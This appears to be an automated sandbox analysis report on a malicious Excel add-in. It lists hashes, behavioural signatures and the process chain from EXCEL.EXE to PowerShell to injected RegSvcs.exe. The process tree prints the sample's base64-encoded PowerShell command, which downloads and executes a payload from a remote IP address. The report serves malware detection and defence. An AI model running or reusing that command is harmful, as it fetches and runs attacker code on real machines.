Analysis
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max time kernel
150s -
max time network
144s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
03-11-2021 13:32
Static task
static1
Behavioral task
behavioral1
Sample
5b9c94b55944d98483b6f79e0886baf344f579d4.xlam
Resource
win7-en-20211014
Behavioral task
behavioral2
Sample
5b9c94b55944d98483b6f79e0886baf344f579d4.xlam
Resource
win10-en-20211014
General
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Target
5b9c94b55944d98483b6f79e0886baf344f579d4.xlam
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Size
17KB
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MD5
f4ea7a9daa7defa4e9e3c54301f31973
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SHA1
5b9c94b55944d98483b6f79e0886baf344f579d4
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SHA256
5115b61255546bf812e84d215a21c0257897397669df2dab882bfb29161e698d
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SHA512
7f67ed6aa41a22cd8e3b3dedfb6df4fa6a1400a766c2f8b151584e245c896cffc5aa1d52f23e2725066b7526fb82c6df4f2cc0793c94d55892ccd1559ca5662d
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1016 4340 powershell.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 33 1016 powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1016 set thread context of 4848 1016 powershell.exe RegSvcs.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 4340 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 1016 powershell.exe 1016 powershell.exe 1016 powershell.exe -
Suspicious use of AdjustPrivilegeToken 28 IoCs
Processes:
powershell.exeRegSvcs.exedescription pid process Token: SeDebugPrivilege 1016 powershell.exe Token: SeDebugPrivilege 4848 RegSvcs.exe Token: 33 4848 RegSvcs.exe Token: SeIncBasePriorityPrivilege 4848 RegSvcs.exe Token: 33 4848 RegSvcs.exe Token: SeIncBasePriorityPrivilege 4848 RegSvcs.exe Token: 33 4848 RegSvcs.exe Token: SeIncBasePriorityPrivilege 4848 RegSvcs.exe Token: 33 4848 RegSvcs.exe Token: SeIncBasePriorityPrivilege 4848 RegSvcs.exe Token: 33 4848 RegSvcs.exe Token: SeIncBasePriorityPrivilege 4848 RegSvcs.exe Token: 33 4848 RegSvcs.exe Token: SeIncBasePriorityPrivilege 4848 RegSvcs.exe Token: 33 4848 RegSvcs.exe Token: SeIncBasePriorityPrivilege 4848 RegSvcs.exe Token: 33 4848 RegSvcs.exe Token: SeIncBasePriorityPrivilege 4848 RegSvcs.exe Token: 33 4848 RegSvcs.exe Token: SeIncBasePriorityPrivilege 4848 RegSvcs.exe Token: 33 4848 RegSvcs.exe Token: SeIncBasePriorityPrivilege 4848 RegSvcs.exe Token: 33 4848 RegSvcs.exe Token: SeIncBasePriorityPrivilege 4848 RegSvcs.exe Token: 33 4848 RegSvcs.exe Token: SeIncBasePriorityPrivilege 4848 RegSvcs.exe Token: 33 4848 RegSvcs.exe Token: SeIncBasePriorityPrivilege 4848 RegSvcs.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 4340 EXCEL.EXE 4340 EXCEL.EXE 4340 EXCEL.EXE 4340 EXCEL.EXE 4340 EXCEL.EXE 4340 EXCEL.EXE 4340 EXCEL.EXE 4340 EXCEL.EXE 4340 EXCEL.EXE 4340 EXCEL.EXE -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
EXCEL.EXEpowershell.exedescription pid process target process PID 4340 wrote to memory of 1016 4340 EXCEL.EXE powershell.exe PID 4340 wrote to memory of 1016 4340 EXCEL.EXE powershell.exe PID 1016 wrote to memory of 4848 1016 powershell.exe RegSvcs.exe PID 1016 wrote to memory of 4848 1016 powershell.exe RegSvcs.exe PID 1016 wrote to memory of 4848 1016 powershell.exe RegSvcs.exe PID 1016 wrote to memory of 4848 1016 powershell.exe RegSvcs.exe PID 1016 wrote to memory of 4848 1016 powershell.exe RegSvcs.exe PID 1016 wrote to memory of 4848 1016 powershell.exe RegSvcs.exe PID 1016 wrote to memory of 4848 1016 powershell.exe RegSvcs.exe PID 1016 wrote to memory of 4848 1016 powershell.exe RegSvcs.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5b9c94b55944d98483b6f79e0886baf344f579d4.xlam"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4340 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcAA6AC8ALwAxADcAOQAuADQAMwAuADEAOAA3AC4AMQAzADEALwB5AGoAcQBmAC8ARgBhAFQAUAAuAGoAcABnAA0ACgAnACkAOwAgAA0ACgBNAGgAUABKAGQATAByAE0AcABJAFAAbwB3AHMARwB0AGMAcABiAHQARwBPAHkATwB3AFEASQBRAGUAWgBLAHIAQgBNAEYAcABKAGkAaABZAFQAaQBOAGQASABLAE8ARgBUAFgAQwBOAGYAbwBhAFgATgBhAHoAdQBjAEUASABwAFgAQQBTAEUAUgB0AE4AVQBkAGMARAB5AGIAcgBpAEYAYwBjAFcAaABEAA0ACgA=2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1016 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4848
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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memory/1016-284-0x0000000000000000-mapping.dmp
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memory/1016-325-0x000001E2BE058000-0x000001E2BE059000-memory.dmpFilesize
4KB
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memory/1016-321-0x000001E2D65A0000-0x000001E2D65A1000-memory.dmpFilesize
4KB
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memory/1016-306-0x000001E2BE056000-0x000001E2BE058000-memory.dmpFilesize
8KB
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memory/1016-305-0x000001E2BE053000-0x000001E2BE055000-memory.dmpFilesize
8KB
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memory/1016-304-0x000001E2BE050000-0x000001E2BE052000-memory.dmpFilesize
8KB
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memory/4340-122-0x0000026235560000-0x0000026235562000-memory.dmpFilesize
8KB
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memory/4340-125-0x0000026235560000-0x0000026235562000-memory.dmpFilesize
8KB
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memory/4340-124-0x00007FFE228C0000-0x00007FFE228D0000-memory.dmpFilesize
64KB
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memory/4340-123-0x0000026235560000-0x0000026235562000-memory.dmpFilesize
8KB
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memory/4340-118-0x00007FFE228C0000-0x00007FFE228D0000-memory.dmpFilesize
64KB
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memory/4340-121-0x00007FFE228C0000-0x00007FFE228D0000-memory.dmpFilesize
64KB
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memory/4340-120-0x00007FFE228C0000-0x00007FFE228D0000-memory.dmpFilesize
64KB
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memory/4340-119-0x00007FFE228C0000-0x00007FFE228D0000-memory.dmpFilesize
64KB
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memory/4848-310-0x000000000040675E-mapping.dmp
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memory/4848-331-0x00000000055F0000-0x00000000055F1000-memory.dmpFilesize
4KB